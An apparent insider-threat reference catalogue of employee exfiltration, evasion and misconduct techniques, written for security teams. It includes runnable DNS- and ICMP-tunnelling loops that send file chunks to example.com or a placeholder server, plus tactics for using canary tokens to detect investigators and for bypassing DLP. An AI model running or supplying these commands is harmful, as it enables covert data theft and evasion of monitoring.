Agent Capable of User Activity Monitoring

A subject can access the web with an organization device.

A subject has privileged access to devices, systems or services that hold sensitive information.

A subject is able to access external FTP servers.

A subject is able to access external SSH servers.

Private browsing, also known as 'incognito mode' among other terms, is a feature in modern web browsers that prevents the storage of browsing history, cookies, and site data on a subject's device. When private browsing is enabled, it ensures any browsing activity conducted during the browser session is not saved to the browser history or cache.

A subject can use private browsing to conceal their actions in a web browser, such as navigating to unauthorized websites, downloading illicit materials, uploading corporate data or conducting covert communications, thus leaving minimal traces of their browsing activities on a device and frustrating forensic recovery efforts.

Data obfuscation is the act of deliberately obscuring or disguising data to avoid detection and/or hinder forensic analysis. A subject may obscure data in preparation to exfiltrate the data.

A subject conducts a scan of a network to identify additional systems, or services running on those systems.

A subject uses organizational resources, such as internet access, email, or work devices, for personal activities both during and outside work hours, exceeding reasonable personal use. This leads to reduced productivity, increased security risks, and the potential mixing of personal and organizational data, ultimately affecting the organization’s efficiency and overall security.

A subject interacts with a public Artificial Intelligence (AI) chatbot (such as ChatGPT and xAI Grok), leading to the intentional or unintentional sharing of sensitive information.

The subject uninstalls software, which may also remove relevant artifacts from the system's disk, such as regsitry keys or files necessary for the software to run, preventing them from being used by investigators to track activity.

A subject engages in web searches that may indicate research or information gathering related to potential infringement or anti-forensic activities. Examples include searching for software that could facilitate data exfiltration, methods for deleting or modifying system logs, or techniques to evade security controls. Such activity could signal preparation for a potential insider event.

The subject uses a virtual machine (VM) to contain artifacts of forensic value within the virtualized environment, preventing them from being written to the host file system. This strategy helps to obscure evidence and complicate forensic investigations.
 

By running a guest operating system within a VM, the subject can potentially evade detection by security agents installed on the host operating system, as these agents may not have visibility into activities occurring within the VM. This adds an additional layer of complexity to forensic analysis, making it more challenging to detect and attribute malicious activities.

The subject installs and uses an unapproved VPN client, potentially violating organizational policy. By using a VPN service not controlled by the organization, the subject can bypass security controls, reducing the security team’s visibility into network activity conducted through the unauthorized VPN. This could lead to significant security risks, as monitoring and detection mechanisms are circumvented.

The subject performs work-related tasks on an unauthorized, non-organization-owned device, likely violating organizational policy. Without the organization’s security controls in place, this device could be used to bypass established safeguards. Moreover, using a personal device increases the risk of sensitive data being retained or exposed, particularly after the subject is offboarded, as the organization has no visibility or control over information stored outside its managed systems.

A subject joins the organisation with the pre-formed intent to gain access to sensitive data or otherwise contravene internal policies.

A subject moves within the organisation to a different team with the intent to gain access to sensitive data or to circumvent controls or to otherwise contravene internal policies.

A subject leaving the organisation with access to sensitive data with the intent to access and exfiltrate sensitive data or otherwise contravene internal policies.

A subject uses a mechanism to increase or add privileges assigned to a user account under their control. This enables them to access systems, services, or data that is not possible with their standard permissions.

A subject uses a mechanism to decrease or remove the privileges assigned to a user account under their control. This may represent an anti-forensics technique where the subject attempts to obscure previously held privileges that could associate them with activity relating to an infringement.

The subject downloads one or more files to a system to access the file or prepare for exfiltration.

A subject, driven by excessive pride in their nation, country, or region, undertakes actions that harm an organization. These actions are self-initiated and conducted unilaterally, without instruction or influence from legitimate authorities within their nation, country, region, or any other third party. The subject often perceives their actions as acts of loyalty or as benefiting their homeland.

While the subject may believe they are acting in their nation’s best interest, their actions frequently lack strategic foresight and can result in significant damage to the organization.

A subject, motivated solely by personal curiosity, may take actions that unintentionally cause or risk harm to an organization. For example, they might install unauthorized software to experiment with its features or explore a network-attached storage (NAS) device without proper authorization.

A subject is motivated by ideology to access, destroy, or exfiltrate data, or otherwise violate internal policies in pursuit of their ideological goals.

Ideology is a structured system of ideas, values, and beliefs that shapes an individual’s understanding of the world and informs their actions. It often encompasses political, economic, and social perspectives, providing a comprehensive and sometimes rigid framework for interpreting events and guiding decision-making.

Individuals driven by ideology often perceive their actions as morally justified within the context of their belief system. Unlike those motivated by personal grievances or personal gain, ideological insiders act in service of a cause they deem greater than themselves.

A subject uses an existing, legitimate external Web service to exfiltrate data

Data loss refers to the unauthorized, unintentional, or malicious disclosure, exposure, alteration, or destruction of sensitive organizational data caused by the actions of an insider. It encompasses incidents in which critical information—such as intellectual property, regulated personal data, or operationally sensitive content—is compromised due to insider behavior. This behavior may arise from deliberate exfiltration, negligent data handling, policy circumvention, or misuse of access privileges. Data loss can occur through manual actions (e.g., unauthorized file transfers or improper document handling) or through technical vectors (e.g., insecure APIs, misconfigured cloud services, or shadow IT systems).

A subject may be motivated by personal, financial, or professional interests that directly conflict with their duties and obligations to the organization. This inherent conflict of interest can lead the subject to engage in actions that compromise the organization’s values, objectives, or legal standing.

For instance, a subject who serves as a senior procurement officer at a company may have a financial stake in a vendor company that is bidding for a contract. Despite knowing that the vendor's offer is subpar or overpriced, the subject might influence the decision-making process to favor that vendor, as it directly benefits their personal financial interests. This conflict of interest could lead to awarding the contract in a way that harms the organization, such as incurring higher costs, receiving lower-quality goods or services, or violating anti-corruption regulations.

The presence of a conflict of interest can create a situation where the subject makes decisions that intentionally or unintentionally harm the organization, such as promoting anti-competitive actions, distorting market outcomes, or violating regulatory frameworks. While the subject’s actions may be hidden behind professional duties, the conflict itself acts as the driving force behind unethical or illegal behavior. These infringements can have far-reaching consequences, including legal ramifications, financial penalties, and damage to the organization’s reputation.

A subject holds access to both physical and digital assets that can enable insider activity. This includes systems such as databases, cloud platforms, and internal applications, as well as physical environments like secure office spaces, data centers, or research facilities. When a subject has access to sensitive data or systems—especially with broad or elevated privileges—they present an increased risk of unauthorized activity.

Subjects in roles with administrative rights, technical responsibilities, or senior authority often have the ability to bypass controls, retrieve restricted information, or operate in areas with limited oversight. Even standard user access, if misused, can facilitate data exfiltration, manipulation, or operational disruption. Weak access controls—such as excessive permissions, lack of segmentation, shared credentials, or infrequent reviews—further compound this risk by enabling subjects to exploit access paths that should otherwise be limited or monitored.

Furthermore, subjects with privileged or strategic access may be more likely to be targeted for recruitment by external parties to exploit their position. This can include coercion, bribery, or social engineering designed to turn a trusted insider into an active participant in malicious activities.

A subject’s placement within an organization shapes their potential to conduct insider activity. Placement refers to the subject’s formal role, business function, or proximity to sensitive operations, intellectual property, or critical decision-making processes. Subjects embedded in trusted positions—such as those in legal, finance, HR, R&D, or IT—often possess inherent insight into internal workflows, organizational vulnerabilities, or confidential information.

Strategic placement can grant the subject routine access to privileged systems, classified data, or internal controls that, if exploited, may go undetected for extended periods. Roles that involve oversight responsibilities or authority over process approvals can also allow for policy manipulation, the suppression of alerts, or the facilitation of fraudulent actions.

Subjects in these positions may not only have a higher capacity to carry out insider actions but may also be more appealing targets for adversarial recruitment or collusion, given their potential to access and influence high-value organizational assets. The combination of trust, authority, and access tied to their placement makes them uniquely positioned to execute or support malicious activity.

A subject can access personal webmail services in a browser.

A subject can access personal cloud storage in a browser.

A subject can access websites containing inappropriate content.

A subject can access external note-taking websites (Such as Evernote).

A subject can access external messenger web-applications with the ability to transmit data and/or files.

A subject stages collected data in a central location or directory local to the current system prior to exfiltration.

A subject can access websites used to access or manage code repositories.

A subject that self reports hours worked, and/or is eligible to claim overtime or an individual responsible for reporting such working time may falsify time records or make false representations to a working time system to cause payment or time in lieu for unperformed work.

A subject exfiltrates data using an organization-owned device (such as a laptop) by copying the data from the device to a personal Network Attached Storage (NAS) device, which is attached to a network outside of the control of the organization, such as a home network. Later, using a personal device, the subject accesses the NAS to retrieve the exfiltrated data.

A subject may rename a file to obscure the content of the file or change the file extension to hide the file type. This can aid in avoiding suspicion and bypassing certain security filers and endpoint monitoring tools. For example, renaming a sensitive document from FinancialReport.docx to Recipes.txt before copying it to a USB mass storage device.

A subject exfiltrates data using a USB-connected mass storage device, such as a USB flash drive or USB external hard-drive.

A USB to USB data transfer cable is a device designed to connect two computers directly together for the purpose of transferring files between them. These cables are equipped with a small electronic circuit to facilitate data transfer without the need for an intermediate storage device. Typically a USB to USB data transfer cable will require specific software to be installed to facilitate the data transfer. In the context of an insider threat, a USB to USB data transfer cable can be a tool for exfiltrating sensitive data from an organization's environment.

When a Mac is booted into Target Disk Mode (by powering the computer on whilst holding the ‘T’ key), it acts as an external storage device, accessible from another computer via Thunderbolt, USB, or FireWire connections. A subject with physical access to the computer, and the ability to control boot options, can copy any data present on the target disk, bypassing the need to authenticate to the target computer.

A subject clears Google Chrome browser artifacts to hide evidence of their activities, such as visited websites, cache, cookies, and download history.

A subject clears Mozzila Firefox browser artifacts to hide evidence of their activities, such as visited websites, cache, cookies, and download history.

A subject clears Microsoft Edge browser artifacts to hide evidence of their activities, such as visited websites, cache, cookies, and download history.

A subject accesses, possesses and/or distributes materials that advocate, promote, or incite unlawful acts of violence intended to further political, ideological or religious aims (terrorism).

A person accesses, possesses, or distributes materials that advocate, promote, or incite extreme ideological, political, or religious views, often encouraging violence or promoting prejudice against individuals or groups.

A subject uploads confidential organization data to a note-taking web service, such as Evernote. The subject can then access the confidential data outside of the organization from another device. Examples include (URLs have been sanitized):

• hxxps://www.evernote[.]com
• hxxps://keep.google[.]com
• hxxps://www.notion[.]so
• hxxps://www.onenote[.]com
• hxxps://notebook.zoho[.]com

A subject can access external text storage websites, such as Pastebin.

A subject exfiltrates data outside of the organization's control using the built-in file transfer capabilities of software such as Teamviewer.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

A subject exfiltrates data using writeable disk media.

The subject intentionally weakens or bypasses network security controls for a third party, such as providing credentials or disabling security controls.

A subject intentionally submits sensitive information when interacting with a public Artificial Intelligence (AI) chatbot (such as ChatGPT and xAI Grok). They will access the conversation at a later date to retrieve information on a different system.

A subject recklessly interacts with a public Artificial Intelligence (AI) chatbot (such as ChatGPT and xAI Grok), leading to the inadvertent sharing of sensitive information. The submission of sensitive information to public AI platforms risks exposure due to potential inadequate data handling or security practices. Although some platforms are designed not to retain specific personal data, the reckless disclosure could expose the information to unauthorized access and potential misuse, violating data privacy regulations and leading to a loss of competitive advantage through the exposure of proprietary information.

A subject uses files with canary tokens as a tripwire mechanism to detect the presence of security personnel or investigation activities within a compromised environment. This method involves strategically placing files embedded with special identifiers (canary tokens) that trigger alerts when accessed. For example:

The subject creates files containing canary tokens—unique identifiers that generate an alert when they are accessed, opened, or modified. These files can appear as regular documents, logs, configurations, or other items that might attract the attention of an investigator during a security response.

The subject strategically places these files in various locations within the environment:

• Endpoints: Files with canary tokens are stored in directories where digital forensics or malware analysis is likely to occur, such as system logs, user data directories, or registry entries.
• Cloud Storage: The files are uploaded to cloud storage buckets, virtual machines, or application databases where security teams might search for indicators of compromise.
• Network Shares: Shared drives and network locations where forensic investigators or security tools may perform scans.

Once in place, the canary token within each file serves as a silent tripwire. The token monitors for access and automatically triggers an alert if an action is detected:

• Access Detection: If a security tool, administrator, or investigator attempts to open, modify, or copy the file, the embedded canary token sends an alert to an external server controlled by the subject.
• Network Traffic: The token can initiate an outbound network request (e.g., HTTP, DNS) to a specified location, notifying the subject of the exact time and environment where the access occurred.
• Behavior Analysis: The subject might include multiple canary files, each with unique tokens, to identify the pattern of investigation, such as the sequence of directories accessed or specific file types of interest to the security team.

Upon receiving an alert from a triggered canary token, the subject can take immediate steps to evade detection:

• Alert the Subject: The canary token sends a covert signal to the subject's designated server or communication channel, notifying them of the potential investigation.
• Halt Malicious Activity: The subject can use this warning to suspend ongoing malicious actions, such as data exfiltration or command-and-control communications, to avoid further detection.
• Clean Up Evidence: Scripts can be triggered to delete or alter logs, remove incriminating files, or revert system configurations to their original state, complicating any forensic investigation.
• Feign Normalcy: The subject can restore or disguise compromised systems to appear as though nothing suspicious has occurred, minimizing signs of tampering.

By using files with canary tokens as tripwires, a subject can gain early warning of investigative actions and respond quickly to avoid exposure. This tactic allows them to outmaneuver standard security investigations by leveraging silent alerts that inform them of potential security team activity.

A third party uses threats or intimidation to demand that a subject divulge information, grant access to devices or systems, or otherwise cause harm or undermine a target organization.

A third party deceptively manipulates and/or persuades a subject to divulge information, or gain access to devices or systems, or to otherwise cause harm or undermine a target organization.

A subject covertly collects confidential or classified information, or gains access, with the intent to sell it to a third party private organization.

The subject modifies or downgrades the sensitivity label of a file in an attempt to bypass DLP or other security controls.

The subject intentionally misclassifies the sensitivity label of a file in an attempt to bypass DLP or other security controls.

A subject exfiltrates information using a mailbox they own or have access to, either via software or webmail. They will access the conversation at a later date to retrieve information on a different system.

A subject uses image steganography to hide data in an image, to exfiltrate that data and to hide the act of exfiltration.

Image steganography methods can be categorised based on how data is embedded within an image. These methods vary in capacity (amount of data stored), detectability (resistance to steganalysis), and robustness (resistance to compression or modification). Below are the primary techniques used:

Least Significant Bit (LSB) Steganography

• One of the most common and simple methods.
• Modifies the least significant bits (LSBs) of pixel values to encode secret data.
• Minimal visual impact since changes occur in the lowest bit planes.

How it works:

• Each pixel in an image consists of three color channels (Red, Green, and Blue).
• The LSB of each channel is replaced with bits from the hidden message.

Example:

• Original pixel: (10101100, 11011010, 11101101)
• After encoding: (10101101, 11011010, 11101100)
• Only minor changes, making detection difficult.

Advantages:

• High capacity when applied to all three channels.
• Simple and easy to implement.

Disadvantages:

• Highly susceptible to detection and compression (JPEG compression removes LSB changes).
• Easily detected by statistical analysis methods.

Masking and Filtering Steganography

• Works similarly to watermarking by altering the luminance or contrast of an image.
• Best suited for lossless formats like BMP and PNG, not JPEG.

How it works:

• Hidden data is embedded in textured or edge-rich areas to avoid easy detection.
• Modifies pixel intensity slightly, making it harder to detect through simple LSB analysis.

Advantages:

• More robust than LSB against lossy compression and scaling.
• Works well for grayscale and color images.

Disadvantages:

• Lower capacity than LSB.
• More complex to implement.
   

Transform Domain Steganography

• Instead of modifying pixel values directly, this technique embeds data in frequency components after applying a mathematical transformation.

Types of Transform Domain Methods:

a. Discrete Cosine Transform (DCT) Steganography

• Used in JPEG images, where data is embedded in DCT coefficients instead of pixels.
• Common algorithm: F5 steganography (JSteg is an older, less secure method).

How it works:

• The image is converted to frequency domain using DCT.
• The hidden data is embedded in the mid-frequency DCT coefficients to avoid detection.
• The image is recompressed using JPEG encoding.

Advantages:

• Resistant to LSB steganalysis.
• Works with JPEG, making it more practical.

Disadvantages:

• Lower data capacity than LSB.
• Can be detected by statistical steganalysis.

b. Discrete Wavelet Transform (DWT) Steganography

• Uses wavelet transformation to embed data in high or low-frequency components.

How it works:

• The image is broken into multiple frequency bands using DWT.
• Data is embedded in high-frequency coefficients, ensuring robustness.
• Common in medical image steganography for secure data transmission.

Advantages:

• More robust against compression and noise than DCT.
• Can embed more data than traditional DCT methods.

Disadvantages:

• Requires more complex computation.
• Can be detected by advanced steganalysis tools.

c. Fourier Transform-Based Steganography

• Uses Fast Fourier Transform (FFT) to embed secret data in the frequency spectrum.
• More resistant to image processing operations like scaling and rotation.

Advantages:

• High robustness.
• Harder to detect using common LSB-based analysis.

Disadvantages:

• Requires complex processing.
• Limited in data capacity.

Palette-Based and Color Modification Techniques

a. Palette-Based Steganography (GIF, PNG)

• Modifies indexed color tables instead of pixels.
• Works by shifting palette entries in GIF or PNG images.

Advantages:

• No direct pixel modifications, making it hard to detect visually.

Disadvantages:

• Can be detected by comparing original and modified color palettes.
• Limited to certain file formats.

b. Alpha Channel Manipulation

• Uses transparency layers in images (e.g., PNG with alpha channels) to store hidden data.

Advantages:

• Harder to detect in images with multiple layers.

Disadvantages:

• Only works in formats supporting alpha transparency (PNG, TIFF).

Edge-Based and Texture-Based Steganography

a. Edge Detection Steganography

• Embeds data only in edge regions of an image, avoiding smooth areas.
• Uses Canny edge detection or similar algorithms.

Advantages:

• Harder to detect using basic LSB analysis.
• Can withstand minor modifications.

Disadvantages:

• Requires pre-processing.
• Lower capacity than LSB.

b. Patchwork Algorithm

• Uses redundant patterns to embed data, making detection harder.
• Works well for texture-rich images.

Advantages:

• High resistance to compression and cropping.

Disadvantages:

• Complex encoding and decoding process.

Spread Spectrum and Noise-Based Techniques

a. Spread Spectrum Steganography

• Mimics radio communication techniques, distributing data across the entire image.
• Uses pseudo-random noise patterns to hide data.

Advantages:

• Harder to detect due to randomness.

Disadvantages:

• Lower data capacity.

b. Statistical Steganography

• Alters color distributions or histogram properties to encode data.
• Ensures changes remain within natural variations.

Advantages:

• Very stealthy and hard to detect.

Disadvantages:

• Limited data capacity.

Adaptive and AI-Based Steganography

• Uses machine learning to optimize embedding locations.
• Adaptive algorithms select least noticeable areas dynamically.

Advantages:

• Extremely stealthy and resistant to detection.

Disadvantages:

• Requires computational power.

Comparison Table of Image Steganography Methods

A subject may employ a Python-based listening service to exfiltrate organizational data, typically as part of a self-initiated or premeditated breach. Python’s accessibility and versatility make it a powerful tool for creating custom scripts capable of transmitting sensitive data to external or unauthorized internal systems.

In this infringement method, the subject configures a Python script—often hosted externally or on a covert internal system—to listen for incoming connections. A complementary script, running within the organization’s network (such as on a corporate laptop), transmits sensitive files or data streams to the listening service using common protocols such as HTTP or TCP, or via more covert channels including DNS tunneling, ICMP, or steganographic methods. Publicly available tools such as PyExfil can facilitate these operations, offering modular capabilities for exfiltrating data across multiple vectors.

Examples of Use:

• A user sets up a lightweight Python HTTP listener on a personal VPS and writes a Python script to send confidential client records over HTTPS.
• A developer leverages a custom Python socket script to transfer log data to a system outside the organization's network, circumventing monitoring tools.
• An insider adapts an open-source exfiltration framework like PyExfil to send data out via DNS queries to a registered domain.

Detection Considerations:

• Monitor for local Python processes opening network sockets or binding to uncommon ports.
• Generate alerts on outbound connections to unfamiliar IP addresses or those exhibiting anomalous traffic patterns.
• Utilize endpoint detection and response (EDR) solutions to flag scripting activity involving file access and external communications.
• Inspect Unified Logs, network flow data, and system audit trails for signs of unauthorized data movement or execution of custom scripts.

A subject may intentionally downgrade the Microsoft Information Protection (MIP) label applied to a file in order to obscure the sensitivity of its contents and bypass security controls. MIP labels are designed to classify and protect files based on their sensitivity—ranging from “Public” to “Highly Confidential”—and are often used to enforce Data Loss Prevention (DLP), access restrictions, encryption, and monitoring policies.

By reducing a file's label classification, the subject may make the file appear innocuous, thus reducing the likelihood of triggering alerts or blocks by email filters, endpoint monitoring tools, or other security mechanisms.

This technique can enable the unauthorized exfiltration or misuse of sensitive data while evading established security measures. It may indicate premeditated policy evasion and can significantly weaken the organization’s data protection posture.

Examples of Use:

• A subject downgrades a financial strategy document from Highly Confidential to Public before emailing it to a personal address, bypassing DLP policies that would normally prevent such transmission.
• A user removes a classification label entirely from an engineering design document to upload it to a non-corporate cloud storage provider without triggering security controls.
• An insider reclassifies multiple project files from Confidential to Internal Use Only to facilitate mass copying to a removable USB device.

Detection Considerations:

• Monitoring for sudden or unexplained MIP label downgrades, especially in proximity to data transfer events (e.g., email sends, cloud uploads, USB copies).
• Correlating audit logs from Microsoft Purview (formerly Microsoft Information Protection) with outbound data transfer events.
• Use of Data Classification Analytics to detect label changes on high-value files without associated business justification.
• Reviewing file access and modification logs to identify users who have altered classification metadata prior to suspicious activity.

A subject misappropriates, discloses, or exploits proprietary information, trade secrets, creative works, or internally developed knowledge obtained through their role within the organization. This form of data loss typically involves the unauthorized transfer or use of intellectual assets—such as source code, engineering designs, research data, algorithms, product roadmaps, marketing strategies, or proprietary business processes—without the organization's consent.

Intellectual property theft can occur during employment or around the time of offboarding, and may involve methods such as unauthorized file transfers, use of personal storage devices, cloud synchronization, or improper sharing with third parties. The consequences can include competitive disadvantage, breach of contractual obligations, and significant legal and reputational harm.

PII (Personally Identifiable Information) leakage refers to the unauthorized disclosure, exposure, or mishandling of information that can be used to identify an individual, such as names, addresses, phone numbers, national identification numbers, financial data, or biometric records. In the context of insider threat, PII leakage may occur through negligence, misconfiguration, policy violations, or malicious intent.

Insiders may leak PII by sending unencrypted spreadsheets via email, exporting user records from customer databases, misusing access to HR systems, or storing sensitive personal data in unsecured locations (e.g., shared drives or cloud storage without proper access controls). In some cases, PII may be leaked unintentionally through logs, collaboration platforms, or default settings that fail to mask sensitive fields.

The consequences of PII leakage can be severe—impacting individuals through identity theft or financial fraud, and exposing organizations to legal penalties, reputational harm, and regulatory sanctions under frameworks such as GDPR, CCPA, or HIPAA.

Examples of Infringement:

• An employee downloads and shares a list of customer contact details without authorization.
• PII is inadvertently exposed in error logs or email footers shared externally.
• HR data containing employee National Insurance or Social Security numbers is copied to a personal cloud storage account.

PHI Leakage refers to the unauthorized, accidental, or malicious exposure, disclosure, or loss of Protected Health Information (PHI) by a healthcare provider, health plan, healthcare clearinghouse (collectively, "covered entities"), or their business associates. Under the Health Insurance Portability and Accountability Act (HIPAA) in the United States, PHI is defined as any information that pertains to an individual’s physical or mental health, healthcare services, or payment for those services that can be used to identify the individual. This includes medical records, treatment history, diagnosis, test results, and payment details.

HIPAA imposes strict regulations on how PHI must be handled, stored, and transmitted to ensure that individuals' health information remains confidential and secure. The Privacy Rule within HIPAA outlines standards for the protection of PHI, while the Security Rule mandates safeguards for electronic PHI (ePHI), including access controls, encryption, and audit controls. Any unauthorized access, improper sharing, or accidental exposure of PHI constitutes a breach under HIPAA, which can result in significant civil and criminal penalties, depending on the severity and nature of the violation.

In addition to HIPAA, other countries have established similar protections for PHI. For example, the General Data Protection Regulation (GDPR) in the European Union protects personal health data as part of its broader data protection laws. Similarly, Canada's Personal Information Protection and Electronic Documents Act (PIPEDA) governs the collection, use, and disclosure of personal health information by private-sector organizations. Australia also has regulations under the Privacy Act 1988 and the Health Records Act 2001, which enforce stringent rules for the handling of health-related personal data.

This infringement occurs when an insider—whether maliciously or through negligence—exposes PHI in violation of privacy laws, organizational policies, or security protocols. Such breaches can involve unauthorized access to health records, improper sharing of medical information, or accidental exposure of sensitive health data. These breaches may result in severe legal, financial, and reputational consequences for the healthcare organization, including penalties, lawsuits, and loss of trust.

Examples of Infringement:

• A healthcare worker intentionally accesses a patient's medical records without authorization for personal reasons, such as to obtain information on a celebrity or acquaintance.
• An employee negligently sends patient health data to the wrong recipient via email, exposing sensitive health information.
• An insider bypasses security controls to access and exfiltrate medical records for malicious use, such as identity theft or selling PHI on the dark web.

Export violations occur when a subject engages in the unauthorized transfer of controlled goods, software, technology, or technical data to foreign persons or destinations, in breach of applicable export control laws and regulations. These laws are designed to protect national security, economic interests, and international agreements by restricting the dissemination of sensitive materials and know-how.

Such violations often involve the failure to obtain the necessary export licenses, misclassification of export-controlled items, or the improper handling of technical data subject to regulatory oversight. The relevant legal frameworks may include the International Traffic in Arms Regulations (ITAR), Export Administration Regulations (EAR), and similar export control regimes in other jurisdictions.

Insiders may contribute to export violations by sending restricted files abroad, sharing controlled technical specifications with foreign nationals (even within the same organization), or circumventing export controls through the use of unauthorized communication channels or cloud services. These actions are considered violations regardless of the recipient’s sanction status and may occur entirely within legal jurisdictions if export-controlled information is shared with unauthorized individuals.

Export violations are distinct from sanction violations in that they pertain specifically to the nature of the goods, data, or services exported, and the mechanism of transfer, rather than the status of the recipient.

Failure to comply with export control laws can result in civil and criminal penalties, loss of export privileges, and reputational damage to the organization.

Sanction violations involve the direct or indirect engagement in transactions with individuals, entities, or jurisdictions that are subject to government-imposed sanctions. These restrictions are typically enforced by regulatory bodies such as the U.S. Department of the Treasury’s Office of Foreign Assets Control (OFAC), the United Nations, the European Union, and equivalent authorities in other jurisdictions.

Unlike export violations, which focus on the control of goods and technical data, sanction violations concern the status of the receiving party. A breach occurs when a subject facilitates, authorizes, or executes transactions that provide economic or material support to a sanctioned target—this includes sending payments, delivering services, providing access to infrastructure, or sharing non-controlled information with a restricted party.

Insiders may contribute to sanction violations by bypassing compliance checks, falsifying documentation, failing to screen third-party recipients, or deliberately concealing the sanctioned status of a partner or entity. Such conduct can occur knowingly or as a result of negligence, but in either case, it exposes the organization to serious legal and financial consequences.

Regulatory enforcement for sanctions breaches may result in significant penalties, asset freezes, criminal prosecution, and reputational damage. Organizations are required to maintain robust compliance programs to monitor and prevent insider-driven violations of international sanctions regimes.

Anti-trust or anti-competition violations occur when a subject engages in practices that unfairly restrict or distort market competition, violating laws designed to protect free market competition. These violations can involve a range of prohibited actions, such as price-fixing, market division, bid-rigging, or the abuse of dominant market position. Such behavior typically aims to reduce competition, manipulate pricing, or create unfair advantages for certain businesses or individuals.

Anti-competition violations may involve insiders leveraging their position to engage in anti-competitive practices, often for personal or corporate gain. These violations can result in significant legal and financial penalties, including fines and sanctions, as well as severe reputational damage to the organization involved.

Examples of Anti-Trust or Anti-Competition Violations:

• A subject shares sensitive pricing or bidding information between competing companies, enabling coordinated pricing or market manipulation.
• An insider with knowledge of a merger or acquisition shares details with competitors, leading to coordinated actions that suppress competition.
• An employee uses confidential market data to form agreements with competitors on market control, stifling competition and violating anti-trust laws.

Regulatory Framework:

Anti-trust or anti-competition laws are enforced globally by various regulatory bodies. In the United States, the Federal Trade Commission (FTC) and the Department of Justice (DOJ) regulate anti-competitive behavior under the Sherman Act, the Clayton Act, and the Federal Trade Commission Act. In the European Union, the European Commission enforces anti-trust laws under the Treaty on the Functioning of the European Union (TFEU) and the Competition Act.

Subjects with access to production and pre-production environments—whether as users, developers, or administrators—hold the potential to exploit or compromise highly sensitive organizational assets. Production environments, which host live applications and databases, are critical to business operations and often contain real-time data, including proprietary business information and personally identifiable information (PII). A subject with access to these systems can manipulate operational processes, exfiltrate sensitive data, introduce malicious code, or degrade system performance.

Pre-production environments, used for testing, staging, and development, often replicate production systems, though they may contain anonymized or less protected data. Despite this, pre-production environments can still house sensitive configurations, APIs, and testing data that can be exploited. A subject with access to these environments may uncover system vulnerabilities, access sensitive credentials, or introduce code that could be escalated into the production environment.

In both environments, privileged access provides a direct pathway to the underlying infrastructure, system configurations, logs, and application code. For example, administrative access allows manipulation of security policies, user permissions, and system-level access controls. Similarly, access to development environments can provide insights into source code, configuration management, and test data—all of which could be leveraged to further insider activity.

Subjects with privileged access to critical environments are positioned not only to exploit system vulnerabilities or bypass security controls but also to become targets for recruitment by external actors seeking unauthorized access to sensitive information. These individuals may be approached or coerced to intentionally compromise the environment, escalate privileges, or exfiltrate data on behalf of malicious third parties.

Given the sensitivity of these environments, subjects with privileged access represent a significant insider threat to the integrity of the organization's systems and data. Their position allows them to manipulate or exfiltrate sensitive information, either independently or in collaboration with external actors. The risk is further amplified as these individuals may be vulnerable to recruitment or coercion, making them potential participants in malicious activities that compromise organizational security. As insiders, their knowledge and access make them a critical point of concern for both data protection and operational security.

Subjects with authorized access to sensitive physical spaces—such as secure offices, executive areas, data centers, SCIFs (Sensitive Compartmented Information Facilities), R&D labs, or restricted zones in critical infrastructure—pose an increased insider threat due to their physical proximity to sensitive assets, systems, and information.

Such spaces often contain high-value materials or information, including printed sensitive documents, whiteboard plans, authentication devices (e.g., smartcards or tokens), and unattended workstations. A subject with physical presence in these locations may observe confidential conversations, access sensitive output, or physically interact with devices outside of typical security monitoring.

This type of access can be leveraged to:

• Obtain unattended or discarded sensitive information, such as printouts, notes, or credentials left on desks.
• Observe operational activity or decision-making, gaining insight into projects, personnel, or internal dynamics.
• Access unlocked devices or improperly secured terminals, allowing direct system interaction or credential harvesting.
• Bypass digital controls via physical means, such as tailgating into secure spaces or using misappropriated access cards.
• Covertly install or remove equipment, such as data exfiltration tools, recording devices, or physical implants.
